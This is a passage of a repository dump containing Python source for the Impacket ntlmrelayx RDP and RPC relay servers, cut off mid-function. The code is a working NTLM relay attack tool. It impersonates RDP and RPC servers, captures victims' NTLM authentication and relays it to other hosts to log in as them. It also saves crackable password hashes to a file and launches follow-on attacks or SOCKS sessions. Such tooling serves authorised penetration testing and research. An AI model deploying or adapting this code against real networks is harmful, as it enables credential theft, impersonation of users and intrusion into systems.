    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   RDP Relay Server\n#\n#   This is the RDP server which relays the NTLMSSP messages to other protocols.\n#\n# Author:\n#  Giovanni A. (@azoxlpf)\n\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport select\nimport socket\nimport socketserver\nimport struct\nimport time\nfrom threading import Thread\n\nfrom OpenSSL import SSL\n\nfrom impacket import ntlm, LOG\nfrom impacket.nt_errors import STATUS_SUCCESS\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.structure import Structure\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.ntlmrelayx.utils.rdp_ssl import ServerTLSContext, generate_self_signed_cert\nfrom impacket.examples.utils import get_address\n\n\nclass RDPRelayServer(Thread):\n\n    # TPKT/X.224 constants\n    TPKT_VERSION = 3\n    TPDU_CONNECTION_REQUEST = 0xe0\n    TPDU_CONNECTION_CONFIRM = 0xd0\n    TPDU_DATA = 0xf0\n\n    # RDP_NEG constants\n    TYPE_RDP_NEG_REQ = 1\n    TYPE_RDP_NEG_RSP = 2\n    PROTOCOL_RDP = 0\n    PROTOCOL_SSL = 1\n    PROTOCOL_HYBRID = 2\n\n    class TPKT(Structure):\n        commonHdr = (\n            ('Version', 'B=3'),\n            ('Reserved', 'B=0'),\n            ('Length', '>H'),\n            ('_TPDU', '_-TPDU', 'self[\"Length\"]-4'),\n            ('TPDU', ':=\"\"'),\n        )\n\n    class TPDU(Structure):\n        commonHdr = (\n            ('LengthIndicator', 'B'),\n            ('Code', 'B'),\n            ('VariablePart', ':=\"\"'),\n        )\n\n        def __init__(self, data=None):\n            Structure.__init__(self, data)\n            if data is None:\n                self['VariablePart'] = ''\n\n    class CR_TPDU(Structure):\n        commonHdr = (\n            ('DST-REF', '<H=0'),\n            ('SRC-REF', '<H=0'),\n            ('CLASS-OPTION', 'B=0'),\n            ('Type', 'B=0'),\n            ('Flags', 'B=0'),\n            ('Length', '<H=8'),\n        )\n\n    class RDP_NEG_REQ(CR_TPDU):\n        structure = (('requestedProtocols', '<L'),)\n\n    class RDP_NEG_RSP(CR_TPDU):\n        structure = (('selectedProtocols', '<L'),)\n\n    class RDPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n    class RDPHandler(socketserver.BaseRequestHandler):\n        def __init__(self, request, client_address, server):\n            self.server = server\n            self.config = server.config\n            self.targetprocessor = self.config.target\n            self.target = None\n            self.authUser = None\n            try:\n                socketserver.BaseRequestHandler.__init__(self, request, client_address, server)\n            except Exception as e:\n                LOG.debug(\"(RDP): Exception:\", exc_info=True)\n                LOG.error(\"(RDP): %s\" % str(e))\n\n        def handle(self):\n            client_socket = self.request\n            client_address = self.client_address\n            client_ip = client_address[0]\n\n            try:\n                LOG.info(\"(RDP): New connection from %s:%s\" % (client_ip, client_address[1]))\n                client_socket.settimeout(30)\n\n                # Receive initial connection request\n                data = client_socket.recv(4096)\n                if len(data) < 4:\n                    return\n\n                try:\n                    tpkt = RDPRelayServer.TPKT(data)\n                    if tpkt['Version'] != RDPRelayServer.TPKT_VERSION:\n                        return\n                    tpdu = RDPRelayServer.TPDU(tpkt['TPDU'])\n                    if tpdu['Code'] != RDPRelayServer.TPDU_CONNECTION_REQUEST:\n                        return\n                except Exception:\n                    return\n\n                variable_part = tpdu['VariablePart']\n                cr_tpdu = RDPRelayServer.CR_TPDU(variable_part)\n\n                if b\"Cookie:\" in variable_part:\n                    cookie_start = variable_part.index(b\"Cookie:\")\n                    try:\n                        cookie_end = variable_part.index(b\"\\r\\n\", cookie_start) + 2\n                    except ValueError:\n                        try:\n                            cookie_end = variable_part.index(b\"\\n\", cookie_start) + 1\n                        except ValueError:\n                            cookie_end = len(variable_part)\n                    variable_part = variable_part[:cookie_start] + variable_part[cookie_end:]\n                    cr_tpdu = RDPRelayServer.CR_TPDU(variable_part)\n\n                if cr_tpdu['Type'] != RDPRelayServer.TYPE_RDP_NEG_REQ:\n                    return\n\n                rdp_neg = RDPRelayServer.RDP_NEG_REQ(variable_part)\n                if not (rdp_neg['requestedProtocols'] & RDPRelayServer.PROTOCOL_HYBRID):\n                    LOG.warning(\"(RDP): Client doesn't support PROTOCOL_HYBRID (NLA)\")\n                    return\n\n                response = self.build_rdp_neg_response(RDPRelayServer.PROTOCOL_HYBRID)\n                client_socket.sendall(response)\n                time.sleep(0.1)\n\n                self.handle_credssp(client_socket, client_address)\n\n            except socket.timeout:\n                pass\n            except Exception as e:\n                LOG.error(\"(RDP): Exception in handle: %s\" % str(e))\n\n        @staticmethod\n        def find_ntlmssp_in_data(data):\n            return data.find(b\"NTLMSSP\\x00\")\n\n        def handle_credssp(self, client_socket, client_address):\n            client_tls = None\n            relay_client = None\n\n            try:\n                # Generate self-signed certificate for TLS\n                priv_key_path, cert_path = generate_self_signed_cert(\"RDP-Server\")\n                server_ctx = ServerTLSContext(priv_key_path, cert_path)\n                client_tls_ctx = server_ctx.getContext()\n\n                # Establish TLS with client\n                client_tls = SSL.Connection(client_tls_ctx, client_socket)\n                client_tls.set_accept_state()\n\n                # Complete TLS handshake\n                handshake_complete = False\n                handshake_timeout = 300  # 5 minutes max for user to enter credentials\n                start_time = time.time()\n\n                while not handshake_complete and (time.time() - start_time) < handshake_timeout:\n                    try:\n                        client_socket.settimeout(5)\n                        client_tls.do_handshake()\n                        handshake_complete = True\n                        LOG.debug(\"(RDP): TLS established with client\")\n                    except SSL.WantReadError:\n                        ready = select.select([client_socket], [], [], 5)\n                        if not ready[0]:\n                            continue\n                    except SSL.WantWriteError:\n                        continue\n                    except SSL.Error:\n                        break\n                    except socket.timeout:\n                        continue\n\n                if not handshake_complete:\n                    LOG.warning(\"(RDP): TLS handshake failed\")\n                    return\n\n                client_socket.settimeout(300)\n                challenge = None\n                negotiate_message = None\n\n                while True:\n                    try:\n                        data = client_tls.recv(4096)\n                    except SSL.WantReadError:\n                        ready = select.select([client_socket], [], [], 30)\n                        if ready[0]:\n                            continue\n                        break\n                    except (SSL.SysCallError, SSL.Error):\n                        break\n\n                    if not data:\n                        break\n\n                    ntlm_offset = self.find_ntlmssp_in_data(data)\n                    if ntlm_offset == -1:\n                        continue\n\n                    ntlm_token = data[ntlm_offset:]\n                    if len(ntlm_token) < 12:\n                        continue\n\n                    message_type = struct.unpack('<L', ntlm_token[8:12])[0]\n\n                    if message_type == 1:  # NEGOTIATE\n                        negotiate_message = ntlm.NTLMAuthNegotiate()\n                        negotiate_message.fromString(ntlm_token)\n                        LOG.debug(\"(RDP): Received NTLMSSP NEGOTIATE from %s\" % client_address[0])\n\n                        self.target = self.targetprocessor.getTarget(multiRelay=False)\n                        if self.target is None:\n                            if self.config.keepRelaying:\n                                self.targetprocessor.reloadTargets(full_reload=True)\n                                self.target = self.targetprocessor.getTarget(multiRelay=False)\n                            if self.target is None:\n                                LOG.info(\"(RDP): Connection from %s controlled, but there are no more targets left!\" % client_address[0])\n                                break\n\n                        LOG.debug(\"(RDP): Relaying to %s://%s\" % (self.target.scheme, self.target.netloc))\n\n                        if self.target.scheme.upper() not in self.config.protocolClients:\n                            LOG.error(\"(RDP): No protocol client for %s\" % self.target.scheme.upper())\n                            break\n\n                        relay_client = self.config.protocolClients[self.target.scheme.upper()](\n                            self.config, self.target, extendedSecurity=True\n                        )\n                        if not relay_client.initConnection():\n                            LOG.error(\"(RDP): Could not connect to target %s\" % self.target.netloc)\n                            break\n\n                        challenge_message = relay_client.sendNegotiate(negotiate_message.getData())\n                        if challenge_message is False or challenge_message is None:\n                            LOG.error(\"(RDP): Failed to get challenge from target\")\n                            break\n\n                        challenge = challenge_message['challenge']\n                        LOG.debug(\"(RDP): Got CHALLENGE from target %s\" % self.target.netloc)\n\n                        # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                        if self.config.remove_target:\n                            av_pairs = ntlm.AV_PAIRS(challenge_message['TargetInfoFields'])\n                            del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                            challenge_message['TargetInfoFields'] = av_pairs.getData()\n                            challenge_message['TargetInfoFields_len'] = len(av_pairs.getData())\n                            challenge_message['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                        challenge_response = self.build_tsrequest_challenge(challenge_message.getData())\n                        client_tls.sendall(challenge_response)\n\n                    elif message_type == 3:  # AUTHENTICATE\n                        authenticate_message = ntlm.NTLMAuthChallengeResponse()\n                        authenticate_message.fromString(ntlm_token)\n                        self.authUser = authenticate_message.getUserString()\n\n                        LOG.debug(\"(RDP): Received NTLMSSP AUTHENTICATE from %s@%s\" % (self.authUser, client_address[0]))\n\n                        if challenge and self.config.outputFile:\n                            ntlm_hash_data = outputToJohnFormat(\n                                challenge,\n                                authenticate_message['user_name'],\n                                authenticate_message['domain_name'],\n                                authenticate_message['lanman'],\n                                authenticate_message['ntlm']\n                            )\n                            writeJohnOutputToFile(\n                                ntlm_hash_data['hash_string'],\n                                ntlm_hash_data['hash_version'],\n                                self.config.outputFile\n                            )\n\n                        # Relay AUTHENTICATE to target\n                        if relay_client:\n                            clientResponse, errorCode = relay_client.sendAuth(authenticate_message.getData())\n\n                            if errorCode == STATUS_SUCCESS:\n                                relay_client.setClientId()\n                                LOG.info(\"(RDP): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]\" % (\n                                    self.authUser, client_address[0], self.target.scheme, self.target.netloc, relay_client.client_id\n                                ))\n                                self.targetprocessor.registerTarget(self.target, True, self.authUser)\n                                self.do_attack(relay_client)\n                            else:\n                                LOG.error(\"(RDP): Authenticating against %s://%s as %s FAILED\" % (\n                                    self.target.scheme, self.target.netloc, self.authUser\n                                ))\n                                self.targetprocessor.registerTarget(self.target, False, self.authUser)\n                                relay_client.killConnection()\n                        break\n\n            except Exception as e:\n                LOG.error(\"(RDP): Exception in handle_credssp: %s\" % str(e))\n            finally:\n                if client_tls:\n                    try:\n                        client_tls.shutdown()\n                    except Exception:\n                        pass\n\n        def do_attack(self, client):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes:\n                # Pass all the data to the socks proxy\n                activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, client, client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.config.attacks:\n                clientThread = self.config.attacks[self.target.scheme.upper()](\n                    self.config, client.session, self.authUser, self.target, client\n                )\n                clientThread.start()\n            else:\n                LOG.error('(RDP): No attack configured for %s' % self.target.scheme.upper())\n\n        def build_rdp_neg_response(self, protocol):\n            rdp_neg = RDPRelayServer.RDP_NEG_RSP()\n            rdp_neg['Type'] = RDPRelayServer.TYPE_RDP_NEG_RSP\n            rdp_neg['selectedProtocols'] = protocol\n\n            tpdu = RDPRelayServer.TPDU()\n            tpdu['LengthIndicator'] = len(rdp_neg.getData()) + 1\n            tpdu['Code'] = RDPRelayServer.TPDU_CONNECTION_CONFIRM\n            tpdu['VariablePart'] = rdp_neg.getData()\n\n            tpkt = RDPRelayServer.TPKT()\n            tpkt['Version'] = RDPRelayServer.TPKT_VERSION\n            tpkt['Length'] = len(tpdu.getData()) + 4\n            tpkt['TPDU'] = tpdu.getData()\n\n            return tpkt.getData()\n\n        def build_tsrequest_challenge(self, challenge_data):\n            def write_length(length):\n                if length > 0x7f:\n                    return struct.pack('>BH', 0x82, length)\n                return struct.pack('B', length)\n\n            def write_universal_tag(tag, is_constructed):\n                tag_byte = (0x00 if not is_constructed else 0x20) | (tag & 0x1f)\n                return struct.pack('B', tag_byte)\n\n            def write_contextual_tag(tag_num, size):\n                tag_byte = 0xa0 | (tag_num & 0x1f)\n                return struct.pack('B', tag_byte) + write_length(size)\n\n            def write_integer(value):\n                int_bytes = struct.pack('B', value)\n                return struct.pack('B', 0x02) + write_length(len(int_bytes)) + int_bytes\n\n            def write_octet_string(data):\n                return struct.pack('B', 0x04) + write_length(len(data)) + data\n\n            octet_string = write_octet_string(challenge_data)\n            ctx0 = write_contextual_tag(0, len(octet_string)) + octet_string\n            inner_seq = write_universal_tag(0x10, True) + write_length(len(ctx0)) + ctx0\n            outer_seq = write_universal_tag(0x10, True) + write_length(len(inner_seq)) + inner_seq\n            ctx1 = write_contextual_tag(1, len(outer_seq)) + outer_seq\n            version_int = write_integer(5)\n            ctx_version = write_contextual_tag(0, len(version_int)) + version_int\n            main_content = ctx_version + ctx1\n            ts_request = write_universal_tag(0x10, True) + write_length(len(main_content)) + main_content\n\n            return ts_request\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n\n    def run(self):\n        if not self.config.listeningPort:\n            self.config.listeningPort = 3389\n\n        LOG.info(\"Setting up RDP Server on port %s\" % self.config.listeningPort)\n\n        self.server = self.RDPServer((self.config.interfaceIp, self.config.listeningPort), self.RDPHandler, self.config)\n\n        try:\n            self.server.serve_forever()\n        except KeyboardInterrupt:\n            pass\n        LOG.info('Shutting down RDP Server')\n        self.server.server_close()"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/rpcrelayserver.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies\n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information\n#\n# RPC Relay Server inspired from DCERPCServer\n#\n# Authors:\n#  Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com)\n#\n# Description:\n#             This is the RPC server which relays the connections\n# to other protocols\n\nimport socketserver\nimport struct\nfrom impacket.dcerpc.v5.epm import *\nfrom impacket.dcerpc.v5.rpcrt import *\nfrom impacket.dcerpc.v5.dcomrt import *\nfrom impacket.ntlm import NTLMSSP_AUTH_NEGOTIATE, NTLMSSP_AUTH_CHALLENGE_RESPONSE, NTLMSSP_AUTH_CHALLENGE\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import ERROR_MESSAGES, STATUS_SUCCESS\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\n\nclass RPCRelayServer(Thread):\n    class RPCSocketServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n    class RPCHandler(socketserver.BaseRequestHandler):\n        def __init__(self, request, client_address, server):\n            self.client = None\n            self.target = None\n            self.auth_user = None\n            self.transport = None\n            self.request_header = None\n            self.request_pdu_data = None\n            self.request_sec_trailer = None\n            self.challengeMessage = None\n            socketserver.BaseRequestHandler.__init__(self, request, client_address, server)\n\n        def setup(self):\n            self.transport = DCERPCServer(self.request)\n            IObjectExporterCallBacks = {\n                5: self.send_ServerAlive2Response,\n            }\n            self.transport.addCallbacks(bin_to_uuidtup(IID_IObjectExporter), \"135\", IObjectExporterCallBacks)\n\n            IEPMCallBacks = {\n                3: self.handle_epmap\n            }\n            self.transport.addCallbacks(bin_to_uuidtup(MSRPC_UUID_PORTMAP), \"135\", IEPMCallBacks)\n\n            if self.server.config.target is None:\n                # Reflection mode, defaults to SMB at the target, for now\n                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % self.client_address[0])\n\n        def handle_epmap(self, data):\n            request = ept_map(data)\n\n            resp = ept_mapResponse()\n            tow_arr = twr_p_t_array()\n            resp['status'] = 0\n            resp['num_towers'] = 1\n            req_handle = ept_lookup_handle_t()\n            req_handle['context_handle_attributes'] = 0\n            req_handle['context_handle_uuid'] = b'\\00'*20\n            resp['entry_handle'] = req_handle\n            resp_tower = b''.join(request['map_tower']['tower_octet_string']) # just reflect the tower back\n\n            resp_tower_p = twr_p_t()\n            resp_tower_p['tower_length'] = len(resp_tower)\n            resp_tower_p['tower_octet_string'] = resp_tower\n            resp_tower_p['ReferentID'] = 3\n            tow_arr['Data'].append(resp_tower_p)\n            tow_arr['MaximumCount'] = request['max_towers']\n            resp['ITowers'] = tow_arr\n            return resp\n\n        def send_ServerAlive2Response(self, request):\n            response = ServerAlive2Response()\n\n            stringBindings = [(TOWERID_DOD_TCP, self.target.hostname)]\n            securityBindings = [(RPC_C_AUTHN_WINNT, \"\")]\n\n            array = b''\n            for wTowerId, aNetworkAddr in stringBindings:\n                array += wTowerId.to_bytes(1, byteorder='little')  # formatting in a ushort is performed later\n                array += aNetworkAddr.encode('utf8') + b'\\x00'\n            array += b'\\x00' * (2 - (len(array) % 2))  # Fix alignment\n            response['ppdsaOrBindings']['wSecurityOffset'] = len(array)\n            for wAuthnSvc, aPrincName in securityBindings:\n                array += wAuthnSvc.to_bytes(1, byteorder='little')\n                array += b'\\xff'  # This should be \\xff\\xff but as it's formatted on a ushort, it doesn't work |-(\n                array += aPrincName.encode('utf8') + b'\\x00'\n            array += b'\\x00' * (2 - (len(array) % 2))  # Fix alignment\n            response['ppdsaOrBindings']['wNumEntries'] = len(array)\n            response['ppdsaOrBindings']['aStringArray'] = array\n\n            return response\n\n        def handle(self):\n            try:\n                while True:\n                    data = self.transport.recv()\n                    if data is None:\n                        # No data: connection closed\n                        LOG.debug('(RPC): Connection closed by client')\n                        return\n                    response = self.handle_single_request(data)\n                    # if not response:\n                    # Nothing more to say, close connection\n                    #    return\n                    if response:\n                        LOG.debug('(RPC): Sending packet of type %s' % msrpc_message_type[response['type']])\n                        self.transport.send(response)\n            except KeyboardInterrupt:\n                raise\n            except ConnectionResetError:\n                LOG.error(\"(RPC): Connection reset.\")\n            except Exception as e:\n                LOG.debug(\"(RPC): Exception:\", exc_info=True)\n                LOG.error('(RPC): Exception in RPC request handler: %s' % e)\n\n        def handle_single_request(self, data):\n            self.request_header = MSRPCHeader(data)\n            req_type = self.request_header['type']\n            LOG.debug('(RPC): Received packet of type %s' % msrpc_message_type[req_type])\n            if req_type in (MSRPC_BIND, MSRPC_ALTERCTX):\n                self.request_pdu_data = MSRPCRelayBind(self.request_header['pduData'])\n            elif req_type == MSRPC_AUTH3:\n                # We don't need the data and don't have AUTH3 Structure anyway\n                # self.requestPduData = MSRPCAUTH3(self.requestHeader['pduData'])\n                pass\n            elif req_type == MSRPC_REQUEST:\n                # This is a RPC request, we try to answer it the best we can.\n                return self.transport.processRequest(data)\n            else:\n                LOG.error('(RPC): Packet type received not supported (yet): %a' % msrpc_message_type[req_type])\n                return self.send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE)\n\n            if self.request_header['auth_len'] <= 0:\n                if req_type == MSRPC_BIND:\n                    # Let's answer to the bind anyway, maybe a second request with authentication comes later\n                    LOG.debug('(RPC): Answering to a BIND without authentication')\n                    return self.transport.processRequest(data)\n                LOG.error('(RPC): Packet is no BIND and does not contain authentication')\n                return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH)\n\n            self.request_sec_trailer = SEC_TRAILER(self.request_header['sec_trailer'])\n\n            auth_type = self.request_sec_trailer['auth_type']\n            if auth_type == RPC_C_AUTHN_NONE:\n                # What should we do here :(\n                LOG.error('(RPC): Packet contains \"None\" authentication')\n                return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH)\n            elif auth_type == RPC_C_AUTHN_GSS_NEGOTIATE:\n                if req_type == MSRPC_AUTH3:\n                    raise Exception('AUTH3 packet contains \"SPNEGO\" authentication')\n                # Negotiate NTLM!\n                raise NotImplementedError('SPNEGO auth_type not implemented yet')\n            elif auth_type == RPC_C_AUTHN_WINNT or auth_type == RPC_C_AUTHN_DEFAULT:\n                # Great success!\n                if req_type not in (MSRPC_BIND, MSRPC_ALTERCTX, MSRPC_AUTH3):\n                    raise Exception('Packet type received not supported (yet): %s' % msrpc_message_type[req_type])\n                return self.negotiate_ntlm_session()\n            elif auth_type == RPC_C_AUTHN_GSS_SCHANNEL or auth_type == RPC_C_AUTHN_GSS_KERBEROS or auth_type == RPC_C_AUTHN_NETLOGON:\n                # Try to ask for NTLM?\n                # Reply with rpc_s_unknown_authn_service?\n                # Try answering with other error codes?\n                raise NotImplementedError('Auth type %s not implemented yet' % auth_type)\n            else:\n                raise Exception('Auth type received not supported (yet): %d' % auth_type)\n\n        def negotiate_ntlm_session(self):\n            token = self.request_header['auth_data']\n            messageType = struct.unpack('<L', token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00') + 4])[0]\n\n            if messageType == NTLMSSP_AUTH_NEGOTIATE:\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n\n                self.target = self.server.config.target.getTarget(multiRelay=False)\n                if self.target is None:\n                    if self.server.config.keepRelaying:\n                        LOG.info(\"(RPC): No target left: keepRelaying active, reloading targets.\")\n                        self.server.config.target.reloadTargets(full_reload=True)\n                        self.target = self.server.config.target.getTarget(multiRelay=False)\n                        LOG.info(\"(RPC): Received connection from %s, attacking target %s://%s\" % (self.client_address[0], self.target.scheme, self.target.netloc))\n                    else:\n                        LOG.info(\"(RPC): No target left\")\n                        return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)\n                else:\n                    LOG.info(\"(RPC): Received connection from %s, attacking target %s://%s\" % (self.client_address[0], self.target.scheme, self.target.netloc))\n\n                try:\n                    self.do_ntlm_negotiate(token)  # Computes the challenge message\n                    if not self.challengeMessage or self.challengeMessage is False:\n                        raise Exception(\"Client send negotiated failed.\")\n                    return self.bind(self.challengeMessage)\n                except Exception as e:\n                    # Connection failed\n                    if self.target is None:\n                        LOG.error('(RPC): Negotiating NTLM failed, and no target left')\n                    else:\n                        LOG.error('(RPC): Negotiating NTLM with %s://%s failed.', self.target.scheme, self.target.netloc)\n                        self.server.config.target.registerTarget(self.target)\n                    return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)\n\n            elif messageType == NTLMSSP_AUTH_CHALLENGE:\n                raise Exception('Challenge Message raise, not implemented!')\n\n            elif messageType == NTLMSSP_AUTH_CHALLENGE_RESPONSE:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n\n                # Only skip to next if the login actually failed, not if it was just anonymous login\n                if authenticateMessage['user_name'] == b'':\n                    # Anonymous login\n                    LOG.error('(RPC): Empty username ... just waiting')\n                    return None\n                    # LOG.error('Empty username ... answering with %s' % rpc_status_codes[MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED])\n                    # return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)\n\n                try:\n                    self.do_ntlm_auth(token, authenticateMessage)\n                    self.client.setClientId()\n                    # Relay worked, do whatever we want here...\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        LOG.info(\"(RPC): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                            authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'),\n                            self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n                    else:\n                        LOG.info(\"(RPC): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                            authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'),\n                            self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                        authenticateMessage['user_name'],\n                                                        authenticateMessage['domain_name'],\n                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])\n                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n                    if self.server.config.outputFile is not None:\n                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                              self.server.config.outputFile)\n\n                    # Log this target as processed for this client\n                    self.server.config.target.registerTarget(self.target, True, self.auth_user)\n\n                    self.do_attack()\n                    return self.send_error(MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED)\n                except Exception as e:\n                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                        LOG.error(\"(RPC): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                            self.target.scheme, self.target.netloc,\n                            authenticateMessage['domain_name'].decode('utf-16le'),\n                            authenticateMessage['user_name'].decode('utf-16le')))\n                    else:\n                        LOG.error(\"(RPC): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                            self.target.scheme, self.target.netloc,\n                            authenticateMessage['domain_name'].decode('ascii'),\n                            authenticateMessage['user_name'].decode('ascii')))\n\n                    self.server.config.target.registerTarget(self.target)\n                    raise\n            else:\n                raise Exception(\"Unknown NTLMSSP MessageType %d\" % messageType)\n\n        def do_ntlm_negotiate(self, token):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,\n                                                                                             self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    raise Exception(\"Client connection failed.\")\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n            else:\n                LOG.error('(RPC): Protocol Client for %s not found!' % self.target.scheme.upper())\n                raise Exception('Protocol Client for %s not found!' % self.target.scheme.upper())\n\n        def bind(self, challengeMessage=b''):\n            bindAck = MSRPCRelayBindAck()\n\n            bindAck['max_tfrag'] = self.request_pdu_data['max_tfrag']\n            bindAck['max_rfrag'] = self.request_pdu_data['max_rfrag']\n            bindAck['assoc_group'] = 0x12345678  # whatever, but not 0!!!\n\n            if not self.request_pdu_data.getCtxItems():\n                # No CTX Items\n                raise Exception('Bind request with no CTX Item.')\n            for requestItem in self.request_pdu_data.getCtxItems():\n                syntax, version = bin_to_uuidtup(requestItem['TransferSyntax'])\n                item = CtxItemResult()\n                # Bind Time Feature Negotiation need to be answered properly |-(\n                if syntax.startswith(MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIX) and version == \"1.0\":\n                    item['Result'] = MSRPC_CONT_RESULT_NEGOTIATE_ACK\n                    item['Reason'] = MSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASK | MSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASK\n                    item['TransferSyntax'] = \"\\x00\" * 20\n                else:\n                    if requestItem['TransferSyntax'] == DCERPC.NDR64Syntax:\n                        item['Result'] = MSRPC_CONT_RESULT_PROV_REJECT\n                        item['Reason'] = 2\n                        item['TransferSyntax'] = ('00000000-0000-0000-0000-000000000000',0.0)\n                    # Accept all other Context Items, because we want authentication!\n                    else:\n                        item['Result'] = MSRPC_CONT_RESULT_ACCEPT\n                        item['TransferSyntax'] = requestItem['TransferSyntax']\n                        self.transport._boundUUID = requestItem['AbstractSyntax']\n                bindAck.addCtxItem(item)\n            # TODO: This is probably not generic enough :(\n            bindAck['SecondaryAddr'] = \"9999\"\n\n            packet = MSRPCHeader()\n            if self.request_header['type'] == MSRPC_BIND:\n                packet['type'] = MSRPC_BINDACK\n            elif self.request_header['type'] == MSRPC_ALTERCTX:\n                packet['type'] = MSRPC_ALTERCTX_R\n            else:\n                raise Exception('Message type %d is not supported in bind' % self.request_header['type'])\n            packet['pduData'] = bindAck.getData()\n            packet['call_id'] = self.request_header['call_id']\n            packet['flags'] = self.request_header['flags']\n\n            if challengeMessage != b'':\n                secTrailer = SEC_TRAILER()\n                secTrailer['auth_type'] = self.request_sec_trailer['auth_type']\n                # TODO: Downgrading auth_level?\n                secTrailer['auth_level'] = self.request_sec_trailer['auth_level']\n                # TODO: What is this number?\n                secTrailer['auth_ctx_id'] = self.request_sec_trailer['auth_ctx_id']\n\n                pad = (4 - (len(packet.get_packet()) % 4)) % 4\n                if pad != 0:\n                    packet['pduData'] += b'\\xFF' * pad\n                    secTrailer['auth_pad_len'] = pad\n\n                packet['sec_trailer'] = secTrailer\n                packet['auth_data'] = challengeMessage\n                packet['auth_len'] = len(challengeMessage)\n\n            return packet  # .get_packet()\n\n        def send_error(self, status):\n            packet = MSRPCRespHeader(self.request_header.getData())\n            request_type = self.request_header['type']\n            if request_type == MSRPC_BIND:\n                packet['type'] = MSRPC_BINDNAK\n            else:\n                packet['type'] = MSRPC_FAULT\n            if status:\n                packet['pduData'] = pack('<L', status)\n            return packet\n\n        def do_ntlm_auth(self, token, authenticateMessage):\n            # For some attacks it is important to know the authenticated username, so we store it\n            if authenticateMessage['flags'] & 